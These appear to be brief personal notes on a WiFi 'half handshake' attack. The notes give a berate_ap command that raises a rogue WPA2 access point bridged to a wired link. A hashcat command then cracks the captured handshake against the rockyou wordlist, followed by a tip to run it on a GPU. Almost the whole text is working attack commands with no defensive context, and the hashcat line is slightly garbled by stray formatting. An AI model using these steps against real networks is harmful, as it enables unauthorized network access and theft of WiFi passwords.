Half Handshake Attack

./berate_ap -m bridge wlan0 eth0 -w 2 --mana-wpa --colour fakeAP testpass

# m -> method for internet sharing (Nat, bridge)
# > make wlan0 take internet from eth0
# w -> refer to the enctyption is WPA2

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Half handshake was stored in file call hostapd.hccapx in /tmp directory

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then crack hash

hashcat -m 2500 /tmp/ **hostapd.hccapx /tmp/rockyou.txt**

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Try to search how to run hashcat on GPU not on CPU